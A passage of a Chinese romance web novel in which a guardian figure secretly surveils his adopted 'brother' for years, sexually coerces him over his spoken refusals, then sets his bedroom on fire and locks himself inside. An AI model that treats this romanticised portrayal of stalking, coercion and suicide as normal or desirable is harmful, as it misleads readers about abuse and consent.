司机应了一声,虽然他知道前面的车子是家主的,但是少爷才是家中最大的。 这是管家多次提醒过的。 楚青琅扭头看着目不斜视的男人,心中的火气又一次燃了起来。 “再加速!超过他!!” “是。” 莫名其妙的,两人就冷战起来。 楚霄不再发那些频繁催促的短信,就连早晚吃饭见面也是能避就避,到后面甚至直接出国,偶尔只用视频通话。 不过这样一来,楚青琅也就彻底将他的嘱咐忘在了脑后。 很多次直接彻夜不归,但是每次醒来的时候都会在家中,问那些朋友,他们也都是讳莫如深的模样。 于是楚青琅也懒得询问了。 他确实没有在学校中再次找到元哥。 毕竟像元哥这样已经临近毕业的人,根本不需要来学校,只要在外面做出事业,到时候直接申请毕业就可以。 只是这更加让楚青琅确定了,楚霄确实是单纯的想要将他诓进学校,从来没有想过让他的身边呆着一个切实的人。 社团依然被他接手了,只是莫名其妙的变成了学校中最受欢迎的社团。 “青青,这里比我想象中的干净,对了施密特音乐剧你看过吗?” “这个音乐剧好像在米德礼堂演出,想去的可以” “对了,我们可以举行一下慈善晚会,筹集一些钱支持一下这个福利院。” “真是好心” 一堆穿着优雅的少年站在福利院里,看着不远处走过来的院长,懒懒的收回了视线。 要不是他们实在是好奇青青抛弃他们后去哪里了,他们才不会跟着过来,这种福利院虽然很明显的修缮过,但是实在是简陋至极。 楚青琅遥遥看着不远处将孩子送回教室后,终于松口气的老师,不禁笑了一下。 少年开始还会这样笑,但是后面不知道发生什么,就只剩下了冷笑,讽笑,很少有这么放松的时候。 虽然之前的笑容也很好看,但是现在的笑容却格外吸引人。 瞬间让他们忘了想要说什么。 而等他们反应过来,楚青琅已经消失不见。 身旁的人刚要开口,院长连带着一些阿姨就来到面前,恭敬且小心翼翼的欢迎引导他们。 他们刻在骨子里的本能使得他们收起笑容,敷衍着,视线却不住的寻找着那个消失的少年。 楚青琅趁着他们的注意力被转移,抬步朝着前面走去,那边的老师很明显的也看见了他,双眼一亮,快步走了过来。 “青青!” 老师面容精致柔和,望来时眼瞳似水。 楚青琅跟着他来到一旁的榆树林子里,掐着树叶,低头看他。 “你说元哥没有出国?” 面前的人就是那个刚来时见面的给他送过来蛋糕的小孩。 到现在已经过了十一年,他十八岁,面前的小孩也差不多了。 只是不知道他为什么一直呆在福利院,并没有出去。 楚青琅想着,接下一片榆树叶,下意识的放进了嘴里。 李织唇角不自觉的翘起,他点了点头,心中的急切又推着他靠近了一步。 他几乎可以嗅见面前人身上淡淡的香气。 那张令人目眩神迷的面容也距离他越发的近来,此时正专注的凝望着他,就仿佛他是少年的一切。 “元哥之前来过,说要自己建立一个公司,不能输给谁,你想去的话我可以带你去。” 李织离他越来越近。 楚青琅察觉到的时候,手指已经被勾住,按住了面前人的胸膛上,掌心下可以清晰的感觉到心脏在皮肉下震动。 李织神情温柔,仰头咬下他唇边的叶子。 “青青,我好想你。” 第105章 第 105 章 长久的监视。 清苦的树叶气息随着呼吸扑洒在两人面庞。 李织接着靠近, 仰头笑,“快回我。” 楚青琅迷惑的看着李织伸出舌将那叶子卷进口中,手下意识的挣扎,却被一把按住。 他之前过来的时候这个人并没有这样的表现啊。 现在怎么回事? 察觉到他的错愕, 李织叹了口气, 偏头凑到他耳边道:“有人跟着你, 在你后边。” 楚青琅恍然。 怪不得李织今天怪怪的。 只是他说的地方是在视线死角, 不容易看见啊。 楚青琅眯了下眼,用另一只手按住李织的后颈, 施力将两人调换了一个位置。 李织极为配合,双手攀上他的腰肢,数着脊柱移动。 余光中,确实是有着一个黑影在树林间闪过。 手中拿着的,像是相机。 真的有人在跟踪他! 他来福利院完全是随心来的, 根本没有提前安排行程,这个人怎么知道,难道一直以来都在监视着他? 就在楚青琅仔细观察的时候, 李织忽地压下了他的肩膀, 隔着压在唇上的拇指吻了上来。 猝不及防的, 按在树干上的手指颤了颤, 细微的拍照声接连响起, 随即镜头收回。 楚青琅瞬间起身, 根本没有在乎李织刚刚的行为代表什么,放开手径直朝着那里走去,掌心中还残留着树干粗糙冰凉的感觉。 但是当他快步走过去的时候,那个人影已经消失不见。 地上只残留了脚印和被压弯的杂草。 警惕心很强,而且是专业的。 如果不是有人提醒, 他还真的发现不了。 楚青琅定定的看了一会儿。 谁会派人跟踪他?又跟踪了他多久? 莫名的,他想到了每次夜不归宿的第二天都是在家中醒来的,还有朋友们欲言又止的模样。 一个人影渐渐浮现在他的脑海中。 李织追上来,轻声说:“青青,要报警吗?” 说完他将自己的手机递过来,楚青琅看了一眼,摇了摇头。 他的脑海中已经有了一个人选,只是暂时还不知道为什么。 “我先走了,元哥的事情下次聊。”他说:“对了,我来是想邀请你参加我的成年礼,到时候会给你请帖,记得来。” 李织站在一旁欣喜的嗯了一声。 楚青琅深呼吸了几次,边掏出手机给那些跟着来的朋友们打了声招呼,边朝着树林外面走去。 现在他已经没有心情再去和那些非要跟来的人聊什么话剧。 他现在只想快点回去确认自己的想法。 脚步声消失,周围的环境重新寂静起来。 李织盯着他离开的背影,又接着一片榆树叶放进了嘴里。 良久,他唔了一声。 “好苦。” * “嗡嗡——” 图片切换的无声又快速,一旁的手机不断传来消息的提示音,但是却并未有人搭理。 单调冷淡的房间中,仿佛有着一种幽暗的气场缓缓膨胀,宛若深海般令人窒息。 西装袖子随着动作上移,里面的衬衣将手腕包裹的严实,只露出一只骨节分明的手撑住下颌。 仿佛看见了什么好笑的场景,男人嗤笑了一声,脖颈间青筋蛰伏,衬得肤色愈发苍白。 只这一声过后,整个空间突兀的沉寂下去。 一双眼眸黑沉沉的,复杂阴郁。 楚霄放下手,交叠在腹部,闭了闭眼。 没关系,他的孩子只是在好奇。 只是亲了一下,不会在做出什么出格的事情。 相比起别人的孩子,青青已经足够听话了。 只是脑海中却依然显现出那副景象。 ——身形修长的少年弓着背将另一个单薄的少年压在树上,颇具有占有欲的姿势,一只手按着树干,一只手捧着那个人的面颊,两人唇瓣相贴。 拍照的人技术很好,阳光洒下,树荫掩映间,两人就仿佛互相喜爱的情侣一般甜蜜。 为什么青青会一直去福利院?他们什么时候产生的感情?是因为葛元吗?他们做到哪一步了?为什么在此之前从来没有察觉到?是因为青青察觉到这些监视了所以一直避开?青青成年了,可以做的……这是正常现象。他不能阻碍。 他凭什么不能阻碍? 那个人分明配不上他家的青青,只有一张脸,不,连脸都不行。 他的青青是一颗易碎的宝石,必须放在柔软的匣子中,要用金钱养护,才能让他绽放出最为璀璨的光彩。 而那个人,养活自己都很困难,怎么敢染指他的孩子?没有人可以配的上青青,没有谁比得上他对青青的了解。 而且他的孩子已经长大,已经会爱人了,为什么要拱手让人? 凌乱的思绪冲破理智组成的大坝,念头在脑海中不断浮现,他根本无法理清自己到底想的是什么,还是只是在给自己寻找着可以放肆的借口。 心脏的空洞越发大了起来。 楚霄睁开眼,瞧着那覆在少年脊背上的手,神情几近于怨毒。 他拿起手机,打断对面的问好声径直吩咐道:“让他消失……” “让谁消失?” 话还未落下,房门猛地打开,随之面容冷凝的少年出现。 管家在后面无奈的举了举手机,表明他不是没有提醒,而是实在不敢阻止少爷。 楚青琅走到男人的身旁,看着电脑上密密麻麻的自己的偷拍照,重复了一遍问话。 咔哒—— 管家将房门关闭。 楚青琅垂眸抱胸,看着男人,等待着回复。 当看见那一张张的照片时,他心中的猜测终于落地。 但是莫大的疑惑复又塞满了心田。 为什么之前对他突然冷淡下去,却又在这里偷摸的看他? 楚霄面无表情的挂断电话,抬手的将电脑页面关闭,动作间平静极了,丝毫没有自己的行为被发现的紧张心虚。 反而率先质问起来。 “你和他什么关系?” 楚青琅理直气壮道:“朋友!” 楚霄讽刺的笑,“朋友会这么亲密?你和葛元也是这样?” 说到元哥楚青琅就更气了,他冷声道:“如果是李织我可以理解,但是你逼走元哥是为什么?他从来没做什么!” 楚霄按着桌子站起身,他身形高大,压迫感极强。 他瞧着楚青琅轻飘飘道:“你怎么知道他没做什么?” 这话一出,楚青琅竟然动摇了几分。 但是很快他就反应过来,“就算是做了什么也不是你当时朝我发脾气的理由!还有你应该让我处理。” 少年扬起下巴,言语中带上了些微的埋怨。 这种情绪分明亲近,但是落在楚霄的眼中,却像是一根钉子,刺穿了心肺。 他咬牙,挤出话来。 “我朝你发脾气?” 楚青琅哼了一声。 楚霄阖眼,神情漠然,“你马上要毕业了,成年礼就在两天后,到时候我会把你介绍给所有人,所以福利院就不要去了。” 他会重新把那里的人重新清理干净。 楚青琅挑眉,他抓着男人的发,强硬的对上那一双被阴郁覆盖的眼眸。 “你用什么身份安排我?” 楚霄冷笑了一声,伸手将攥着少年的手腕拉下来,将那手掌摊开,放在鼻尖嗅了一下。 他说话,却像是在对着自己说的一般。 “你叫我哥,我养大的你,你说什么身份?还有早恋不好。” 说的是事实。 楚青琅目光飘移了一瞬,但是他这种自顾自的安排,实在是让他受不了。 “谁早恋了?我已经成年了!李织必须来,我还会邀请元哥,你敢阻止我就敢不去。你介绍空气去吧!” 手腕上的力道很大,楚青琅五指伸开,恨恨的在男人脸上拍了一下。 指尖擦过,红痕瞬间浮现出来。 楚霄却连头都没有偏,只是将那不老实的手握紧。细细的观察着掌心上的纹路,目光如刀一般锋锐,却又诡异的缠绵。 为什么要摸那个人的脸呢?感受到了什么?体温交织间会不会神经会不会失去控制,是因为那个人的年轻才心生动摇吗? 少年轻易的被他撩拨起情绪,瞬间忘了自己进来的目的。 此时站在他的面前,像孩子一般闹着要个说法,试图保护自己的朋友。 只是朋友。 多么心软的孩子。 只是幼时相处了一段时间的葛元都足以让他念念不忘。 那个被他亲手救下的人当然也会让青青亲近,甚至会为了他们重新找到他这里。 “你干嘛?回答我!” 在楚青琅的质问中,楚霄站起身拉着人走到了洗漱室。打开水龙头,潺潺的水流声响起,他从身后搂着少年将他的手交叠放在了水下。 少年不住的动着,但是在那强硬的力道下根本无法挣脱,到最后他干脆放弃了,将身体靠在男人的怀里。 毛绒绒的发蹭的下颌喉结痒痒的。 楚霄慢条斯理的将那令人厌恶手气味清洗干净,洁白的泡沫在指缝间冒出,滑腻腻的散发出橘子香来。 楚青琅看着镜子里垂眸的男人,被刻意引导跑远点思绪重新恢复过来,他抓准自己过来的目的,冷静道: “楚霄,我给你一个机会解释。” “你想要什么解释?” 男人揉搓着他的手,力度不小,仿佛要将他的一层皮都给搓掉。 楚青琅皱了下眉,反手扣了一下男人的手背,嘟囔道:“轻一点。” 男人听见了他的抱怨,力道小了许多,但是过于细致的动作还是让楚青琅觉得两条手臂都麻麻的。 他啧了一声,压着嗓子说:“你为什么突然疏远我?为什么又一直派人跟踪我?还有,元哥和李织只是我的朋友,你怎么对他们的敌意这么大?” 洗手液被冲洗赶紧,就当楚青琅以为自己会被放开的时候,身后的人上前一步,将有限的空间挤压了个干净。 光滑的池壁硌着腰腹,他想要起身,但是身后的人和他身躯相贴,十指交叉按在池璧内,将他彻底压制。 他诧异抬眸,镜子里的楚霄弯唇笑了一下,狭长的眼眸浓黑,带着岌岌可危的理智。 “真的想知道?” 拒绝拒绝拒绝。 答应下来答应下来答应下来。 两种思绪在脑海中盘旋,将他仅剩的理智都吞噬了个干净。 他已经做出了努力。 他尝试过远离了。 但是只靠着自身的意志力完全无法控制,他只能从各种途径来满足自己,望梅止渴一般。 所以,他无法做出正确的判断。 在少年成年的刹那,在少年得知他的所有行为的时刻,决定权就已经不在他的手中。 楚霄用下颌蹭了下他的发顶,确认般的再次询问,语气前所未有的轻柔起来,甚至带上了些许的愉悦。 “青青一定要知道吗?” 虽然这种场景有着莫名的即视感,但是楚青琅还是果断的点头。 “不说的话,我就离家出走!” 第106章 第 106 章 做或死。 话刚出口, 楚青琅反而感到了些许的不好意思。 这也太幼稚了。 肩颈一重,楚霄压着他轻笑了一声,微热的吐息将耳廓笼罩。 “从那里讲起?” 他自问自答,“青青不是一直想知道我为什么会救你帮你吗?那就先从这里开始吧。” 浓黑的眸子被高耸的眉窝打出阴影, 显得眼神愈发阴翳尖锐。 明明只是镜子里的倒影, 却让楚青琅感到了头皮发麻。整个人就像坠入泥潭, 剧烈的挣扎, 却反而越陷越深。 楚霄却仿佛什么都未察觉到一般,他的一只手顺着手臂上移, 隔着衬衣揉捏着楚青琅的皮肉。像是在丈量他的每寸骨骼的长度,另一只手圈住他的肩颈,夺取了他所有反抗的机会。 楚青琅唇边溢出轻哼,但是源源不断的温度却依然从背后传递而来,两人已经许久未如此亲密。 无法抵抗。 楚青琅此时才发现, 自己并不那么厌烦他人的靠近。 至少,不讨厌楚霄的靠近。 人类向来渴望拥抱。 这种结结实实的,似乎将他嵌入体内的拥抱所传来的重视感, 让楚青琅悄然提起的警惕心都消散了许多, 甚至产生了微醺的感觉。 察觉到他的抵抗消失, 楚霄喟叹一声,膝盖分开他的腿, 将他的身子压的更低了, 侵占着每一寸空间。 失重感传来,少年好似不堪重负,脊背艰难弓起,肩颈成线倾斜,小臂在极小的范围内挥舞, 试图稳住身躯。 “哗——” 纤长指尖刮过水龙头,水流瞬间又流淌出来。 他扣着池璧边缘,掌根很快就被蔓延而上的水流淹没。 楚霄依然在叙述着,在细微的水声中将整个人刨开,扯出血淋淋的内脏向他展示。 “一开始对你的满足是因为我觉得我的弟弟就应该过这样的生活,后面却只是单纯的觉得青青你必须要过这样的生活。” “如果你只是那样就好了。” 楚霄从未做过如此轻佻的举动,牙齿咬住悬在唇边精致的耳垂,为它打上了鲜红印记。 “是你主动亲吻我,是你主动撩拨我,但是你却想要和葛元一起远离我,我怎么能允许。” 楚青琅眼中出现迷茫,根本不记得他提的是那一茬。 “他想的是什么我当然知道,楚家人向来贪得无厌,卑鄙自私。葛元知道,只要抓住我最为宠爱的人,他便能换取利益,许多许多的利益。” 楚霄圈住他肩颈的手掰过他的脸,吻顺着脖颈落到颌角。 “为什么不能让他离开?他同意且做出了选择。” 楚霄在他的耳边作弄出粘腻的水声,细微的痛不断从软骨上传来。 楚青琅的神情只一动,楚霄就发现了,衬衣被轻巧解开,拽出。 “欲/望。”他说:“感觉到了吗?这就是我想要对你做的事情。” 楚青琅脑袋混沌了片刻,谁知道等缓过来,他身上的衣服几乎被扒了个干净。 他用连忙别扭的姿势按住楚霄的手,单手撑住了镜子。 “不行!别太过分!” 楚霄好似惊讶,“怎么才算过分?抚摸你的身体,还是我们这样亲密无间的姿势?” 他说:“我尝试远离过你,青青,但是我无法控制,我必须要确认你在我的视野范围内才能安心。” 楚青琅察觉到那只手渐渐伸向了危险的地方。他呼吸急促,牙不由自主的咬紧,“我不听了,放开我哥!楚霄!哥!!” 楚霄已经完全将他的衬衣褪下,露出一大片洁白脊背,削薄的唇在上面流连,眼睫搭下,神情晦暗。 “如果你觉得这样叫会更/爽的话。” 细密的吻从脊骨绵延,楚青琅的身躯抖了抖,脑浆都被搅匀,各种复杂的思绪纷乱。 但是他唯一能确定的一件事是,楚霄不应该这样对他……他不是这样的人。 不属于他的膝盖正不断摩擦着。 楚青琅撑着镜子的手指蜷起,体内的热度于镜面激出薄雾,抑制不住的声音从唇间溢出。 楚霄从未如此听话过,真的向他解释了从小的疑惑。 属于系统意识依然冷静,甚至对于这种亲密接触习以为常,但是属于青琅的一部分却从心中涌现出鲜明的厌恶来。 这种厌恶由来已久,眼前恍惚间又浮现出那金灿灿的光芒,楚青琅以为他真的逃出了福利院的阴影,此时才发现不过是到来的时间延长了。 他撑着镜子的手下滑,唇紧紧抿着,随着晃动牙齿刮破舌尖,他尝到了丝丝血腥味道。 “看着我。” 身躯悬空,他被抱起坐在了洗漱台上,金属的冰冷使得混沌思绪清醒了一瞬。 楚青琅抬脚便踹,但是这软弱的力道轻易的被楚霄接下,男人将身体挤进他的腿间,在注意到他神情时动作顿了一瞬,旋即低头吻上了他的眼角。 “哭什么,青青。” “我已经等待了好久,在你的身上打下我的印记。” “多漂亮。” 楚青琅双手被他不知何时扯下的领带捆在了腰后的水龙头上,头颅紧贴镜面,凌乱发丝下,一张白皙面孔因为快/感绽放出迷人光彩,眼尾洇红。 吻顺着面庞滑落,一只手轻易使得他腰肢反弓,胸腹不住起伏,楚青琅仰头,修长脖颈被逼出血管。 楚霄痴迷的望着那迷蒙黑眸,嗓音仿佛含着沙砾。 “时间还很长。” 我必须要让你明白,我的爱意。我的阴暗之处。 如果接受了我,那就要将我所有的污浊一齐承受。 如果要离开我,那现在就是我的最后一个梦境,从今往后,我不会用任何方式束缚你 浴室,沙发,窗户,床边,桌子上。 楚青琅算是彻底明白了一个隐忍多年的老男人能够有多猛。 楚霄就像是初次品尝到肉味的猛兽,双眼发亮流着口水的将他一寸寸吞吃,带着歇斯底里的疯狂,直到天光大亮。 他才被允许沉入黑暗 阳光带着感官复苏,最先传递到脑海的,是紧缩灼热的温度。 楚青琅猛地睁开眼,还没看清他现在所处的环境,红肿的眼皮便传来了刺痛,他又重新闭上了眼。 身旁传来悉悉索索的声音,下一瞬,眼皮上传来温凉的感觉。 像是在为他缓解。 脑海中突兀的闪过一些混乱的场面,在仔细感受了一下紧箍的湿濡,楚青琅心中瞬间五味杂陈起来。 他一直以为他们之间产生感情会是在几年后,至少不应该实在他成年礼前。 “醒了?” 低哑的声音响起。 眼皮上的触感消失。 楚青琅下意识睁开眼,楚霄苍白英俊的面容距他很近,他甚至可以看见眼睫上金灿灿的光晕。 但是再看到脸的瞬间,他的心中莫名抵触和迷茫。 现在两个人都需要冷静一下,他前面十几年看着这个男人只是当成了亲人,但是现在亲人却不想只做他的亲人,他不想有那么快的改变。 楚青琅抬手就将身上的人推开,皮肉摩擦抽出的瞬间,他伏在被子上缓了缓。 但是很快他冷着脸掀起被子,一言不发的走到洗漱间又来到了衣柜。中间不知道是因为过于疲累还是情绪上的低落,他腰腿一阵阵的发软。 但是顶着身后犹如实质的目光,他还是努力挺直了脊背。 楚霄靠在床头看他走来走去,从床头抽屉里掏出烟,点燃。 飘渺的烟雾无法阻挡少年身上的痕迹,以及那紧绷的面容和无所适从的肢体语言。 他平静的试探,“青青,今天你的成年礼服就要到了” 少年光着脚踩在地板上,踢开身前的被液体沾满的衣服,神情前所未有的冷淡,目光如冰棱一般,“别叫我青青,我们没有任何关系!你之前养我的钱我会还给你。” 楚霄手指颤了颤,烟雾缭绕间将他的面容全然遮挡。 楚青琅懒得再搭理他,走到衣柜处随便挑了两件衣服换上,穿上鞋子就要离开。 门把手下压的瞬间,他听见身后传来脚步声,猛地回身。 “啪!” 一巴掌下去,毫不留情,楚霄只觉得面庞火辣辣的痛。 楚青琅看着他,一字一句道:“别再出现在我的面前唔——” 总是这样,话未说完下颌就被猛地抬起。 楚霄嘴巴里带着橘子香气,像是偷吃了一颗糖,舌熟练的撬开他的唇,找到弱点,吮吸的楚青琅浑身发麻,腿更加软了起来。 唇肉挤出不规则的弧度,男人挑逗着他的上颚,慢吞吞的说话,嗓音模糊。 “我只是想要提醒你,出去了记得吃早饭,不然你会胃痛。以后要学会自己照顾自己……没事,管家会提醒你,楚家的一切都会是你的。” 楚青琅愣了好长时间才反应过来男人说的是什么。 急促的呼吸缓缓平稳,楚霄弯曲手指,在他的脸颊上夹了一下,很快放手。 楚霄转身重新拿了一支烟,肌肉舒展的后背还带着他留下的痕迹,交错斑驳,格外刺眼。 男人姿态悠闲,没有丝毫留他的意思,仿佛两人只是单纯的一夜/情。 楚青琅彻底搞不懂楚霄在想什么,亦或者只是单纯的耍他玩。 心中莫名的情绪积蓄,他深呼吸了一下。 咔嚓—— 打火机点燃烟,门被打开,人影消失。 呼—— 火焰在眼眸中跳动,缓缓下坠。 星火啃噬着两人交融过的床铺,只留下一片的焦黑。 被抛下的男人站在原地,垂眸神情如石像一般,无动于衷。 良久,眼前的火势几乎将整间床铺吞噬,他才转身走到房门前,抬手反锁。 很快呛人的烟雾和焦味充溢整间房屋。 他的青青做出了选择,他总是不想伤害他的,但是没办法。 楚霄不能保证他仅有的理智能眼睁睁看着少年结婚生子,然后彻底和他分开。 这是最好的办法,死亡总能将他的不甘和疯狂消解,而青青有他留下的权势钱财庇护,不会碰到任何危险。 烟雾吸进肺中,又呛又烈,窗户房门紧闭,整个房间被火焰染成了橙红,像无数的玫瑰扑撒在他的面前。 机车轰隆隆的声音在楼下响起。 它将带着他的孩子离开。 第107章 第 107 章 火焰 “小少爷, 您的朋友李织过来说来找您。” 楚青琅将机车停下,长腿点地,发丝垂落在尤带咬痕的耳畔,带来细微的痒。 身边车流不断, 嘈杂喧嚣。 “在哪里?” 楚家的房子不少, 他去找楚霄也是废了一番功夫, 尤其是在楚霄故意疏远他后, 他们就分开住了。 因此楚青琅确实不知道李织是在那栋房子,而且, 李织来找他做什么? 他已经说过了,元哥的事情以后再说…… 管家的声音一如既往的温和,“他在丰平路19号这里,少爷。” 这个房子楚青琅有印象,是因为他胃痛不吃饭, 所以楚霄特意买回来让他随便设计寻开心的,在楚霄疏远他之前,两人还经常在里面相处。 只不过后来一切都变了。 楚青琅握着把手长呼了一口气, “我知道了。” 去见李织一面, 然后他就离开这里, 最好再也不见楚霄了。 昨天晚上加今天的情形,甚至让楚青琅觉得自己一点都不了解那个男人。 他先前是如此的笃定楚霄不会伤害他, 不会违背他的意愿, 而现在……要是人再出现在他面前,楚青琅不觉得自己会保持理智,不上去揍他。 楚青琅思衬着要如何揍,用什么力度揍,手脚熟练的重新启动车子, 掉头朝着丰平路行驶。 一切的一切在余光中都被拉成模糊横线。 别墅前,西装革履的管家正弯腰劝导着什么,李织面上带着腼腆的笑,却没有丝毫的动作,手攥着肩上的背包,身上的衣服陈旧,但是洗的干净。 机车在他旁边停下,风裹上前,激出熟悉的洗衣液的清香。 福利院特有的味道。 李织上前一步,丝毫不顾刚停下的车轮,眼睛闪着柔光,“青青,你没事吧?” 楚青琅直起腰,用手指将散乱挡眼的发丝梳了下,淡淡道:“怎么了?我能有什么事?” 管家识趣的后退几步,走到了大门旁边,笑着看机车轮子。 洗衣液的香气飘来,楚青琅垂眸,李织面上带笑仰头看他,带着小心翼翼。 好像察觉到了他心情不好。 李织解释道:“是元哥给我发的消息,说你有些危险,我比较担心就找回来了。” 葛元怎么知道的? 而且,之前楚霄都恨不得全天候保护他了,他能有什么危险? 楚青琅嗯了一声,指尖在油箱上敲了敲,声音细微。 除非葛元也知道楚霄的心思,那么,他为什么没有说? 他大致想起来,楚霄的变化是从他跟着葛元去玩的那一天后有了变化,所以是谁刺激了楚霄? 葛元吗? 李织语速缓慢,声音柔和,“青青,你没事就好,要跟我去见元哥吗?我来之前问过了,他有时间。” 楚青琅停下敲击,直接去问好了,他朝前坐了一下,示意李织坐到后面。 一旁的管家关注到他们的行动,上前一步放开声音说:“少爷,我想您需要暂时留一下,有些东西需要交给您。” 楚青琅停下动作,“很重要?” 管家微笑点头,神情带着复杂的意味,他像是觉得不够,又强调道:“很重要,小少爷。” 李织听见他们的交流,也很识趣的停下动作,只是皱了下眉。 楚青琅并未注意,看着他问:“你会开机车吗?” “我我可以试试。” 李织带着明显的迟疑。 楚青琅收回视线,“那算了。管家,你准备一辆车。” 管家听见,并未询问任何话,转身朝着别墅内走去,很快司机就开出来了一辆黑色的车子,停在他们身旁。 看着李织疑惑道目光,楚青琅指了指车,“你给司机说一下去哪里,去把元哥接过来,我在这里等你们。” 李织怔怔点头,发现他真的没有别的话想说的时候,一瞬间有些许的失落。 他想要和青青谈那个跟踪的人,想要趁机接近保护青青,而不是只是以一个幼时朋友的身份,还要扯上葛元才能定时和青青见一面…… 管家在楚青琅的身后向着他礼貌倾身,随后转身朝着别墅内走去。 两人的背影消失,雕花铁门紧紧关闭,李织攥紧背包,还是收回视线,坐上了已经被司机打开的车子里。 阳光穿过落地窗照射在木地板上,淡色沙发上各色抱枕玩偶格外显眼,很有一副温馨的感觉,墙角摆着一盆蓝花楹,叶子绿汪汪的。 楚青琅记得开花的时候很好看。他会剪下一枝偷摸放在楚霄的头发衣服里,算是给他点缀一些颜色…… 当然这只是表面的理由,更多的是他只想看楚霄出丑,只是每次楚霄都能发现。 “少爷,请跟我来。” 管家加快脚步为他引路,皮鞋踩在地板上,声音清脆响亮。 楚青琅将视线从那飘起的尘埃上收回,跟着走了过去,他还以为会去二楼,没想到管家竟然带着他径直朝着地下室走去。 刚将门打开,楚青琅便嗅见了一股浓郁的酒香。 他才从记忆深处翻出来,以前这个房子的地下室是当作酒窖来用的。 之后到了他手上,他又不喝酒,便废弃了。 现在这是楚霄重新修整过,恢复了酒窖的作用? “少爷,东西就在这里面,家主说希望您自己下去。” 管家扶着门侧身。 楚青琅看了他一眼,走了进去。 壁灯盈着光芒,将前方照亮,楚青琅下了楼梯朝前走去,冷森森的灯光将目之所及的一切都覆盖上了浅淡的寒光,酒窖是一体的,除了墙壁旁边的陈列整齐的酒柜,还有着有着成组的随意摆放沙发和吧台作为品酒区域。 在尽头就是储藏区,楚青琅并不觉得里面的酒桶能是什么重要东西。但是他面前的场景也是格外的干净整洁,一眼扫过去除了酒还是酒,管家一定要他过来看的东西到底在哪? 楚青琅扫了一眼,转身就准备离开,他的耐心只支撑他来到这里。 冷寂的氛围被脚步声打破,他直接来到了一旁的电梯,按下了按钮。 一声轻微的响声后,面前的电梯并未打开,反而是后面传来轻微的机括转动声。 这种声音并不常见。 楚青琅扭头,愕然发现那用作陈列酒水的柜子从中间分开,露出了一个足够一人通过的通道。 幽暗的光芒将冷光吞噬,空气中的湿冷感越发浓厚,楚青琅猛地转身,快步朝着那通道走去。 在走进去后,楚青琅不由得抬手捂了下眼,由森然的白光骤然进入到无光的环境中,他仿佛失去了眼睛这个器官。 直到不适感褪去,他摸黑朝着前方走了一步。 周围像是安装了感应灯,墙壁四面瞬间亮起,乍起的灯光将楚青琅吓了一跳,他僵直在原地,刚缓过来的眼眸被刺激的覆上了水膜。 “玩我呢?” 楚青琅深呼吸了一下,馥郁酒香混着一股子清冽香气窜进鼻腔,让人心旷神怡,但是他还是将这个账再次记到了楚霄头上。 等眼前的模糊幻影消失,面前的场景瞬间清晰起来,楚青琅瞳孔骤然紧缩,头皮发紧。 密密麻麻的,他的照片将整间房屋覆盖,不远处摆放着一个极大的鸟笼形状的东西,红线带着他的照片将其围绕,金灿灿的光芒混着猩红,楚青琅竟然有一瞬间的目眩。 “哗啦——” 楚青琅颤抖着指尖将鸟笼上的红线扯下,挨个翻看。 照片后面的日期鲜明,从十岁,一直到他十八岁,将近三千天,每一天的他都有出现在这个房间中,以无知的,微笑的,富有生气的面容存在。 红线如血管一般搭在地上,缠绕在他的手腕上,在海边,在教室,在操场的少年身上。不远处的电脑悄然启动,宽大的屏幕上出现了熟悉的场景。 楚青琅站在房间中,感觉自己像是来到了巨人的神国,地板被水晶吊灯照亮晶晶的,可以映出他的脸,看着看着,他忍不住蹲下来研究起来。 低哑的声音在身前响起,“你在看什么?” 青琅惊醒,猛地收回手抬头,“没什么。” 他才不会说,自己现在看起来就像是一个小少爷,不是那种会被卖出去的,而是被家人宠爱的孩子,而且那个吊灯的光芒映在地板上,就像是水一样,他都想要伸手试试看会不会产生波纹了。 男人并未因为他的寡言而生气,而是弯唇笑了笑,漆黑的眼眸拢着一点柔光,异常让人安心。 青琅眼前一花,失重感传来,他忍不住扭动了下身子, “别动。” 男人抱他的动作虽然生涩,但是格外的认真。 青琅感受到了他的珍视,轻轻的放松了身体,伸出手乖巧的搭在他的颈后。 面前的摄影师不断的叮嘱着。 “对,就是这样!保持住!” 男人裁剪良好的西装显得他肩宽腿长,金色的褡裢垂在胸前,格外英俊贵气,怀中抱着的孩子和他穿着同色系的衣服,面容精致如画,潋滟的眼眸下是小巧的鼻子和如花瓣一般的唇。 两人朝着前方看去,一人前所未有的柔和,一人努力严肃起来。 咔擦—— 快门按下。 这便是他们的第一张家庭照片。 “我后悔了。” 画面消失,楚霄的声音传来,是他给自己录的视频。 楚青琅松开手,带着明显撕裂痕迹的照片就轻飘飘的落进了笼子里面。 他起身走到影像前,面无表情。 楚霄录这个视频的背景便是这个房间,照片,鸟笼,还有并未在楚青琅面前出现的锁链,麻醉药剂,精神鉴定书。 “我不应该将你看作孩子,如果不是这样,我不会在这个身份上挣扎如此久。”楚霄的声音平缓,“我相信,就算我们没有这个关系,只要我见到你,我依然会为你着迷,青青。” 说完,他举起手中的纸张,“这是各个公司股份的转让合同,至于里面的人员构成和介绍后续你可能会听到一些谣言,但是不用在意,钱权会是你身上最大的铠甲,实在不开心,管家会帮你出气。” 红线在手腕上勒紧,几乎要钻进皮肉随着血液流淌全身,楚青琅攥紧了手,徒劳的想要阻止。 “我原本以为自己能够等待三年,就可以等待后面的十年,但是,楚家人的基因告诉我,不可以。”楚霄放松身体,靠在沙发上道:“之前和你说的其实还有完整版。我的父亲出轨了,被妈妈发现后她就准备带着我们一起死。所以我常常担心,那天我一睁眼起来,就把你带下来了。” 楚霄终于抬起了眼,漆黑的眼眸不知何时被阴戾灌满,带着疯狂的情意,让人毛骨悚然。 “青青,我真切的,祝你自由。” 楚青琅的脑海中忽然浮现出昨天上/床时楚霄的几乎要将他绞死的肢体,还有今天早上突然冷淡的态度,一切的疑问在看见这个录像的时候彻底明了,零碎的线索终于连成了线。 他懵然发现。 这是遗言。 心脏在耳边咚咚的响,手腕上传来刺痛。 但是凭什么? 凭什么会觉得他可以承担起一条生命的重量? 他不信楚霄不懂。 楚青琅低头,眼中燃着怒气,将缠绕在他身上的红线粗暴的扯开。 照片被他弄得满地,上面都是单人照,就算是出现了另一个人,哪怕是楚霄自己,也会被涂抹干净。 更何况是葛元和李织。 “砰!” 楚青琅跑上楼梯,轰然打开房门,却发现管家依然在门边站着。 他脚步停滞了片刻,管家平静的面上看不出他到底知不知道楚霄即将发生的事情,楚青琅也懒得在问,抬步朝着大门冲去。 机车轰隆隆的声音再次响起。 火焰如记忆中的大海一样翻卷,混着墙壁掉落的火苗如海浪一般,落在衣衫上,烙下瑰丽斑驳的纹路,楚青琅猛地拍打着手臂,迎面而来的热气让他整个人倒退了好几步。 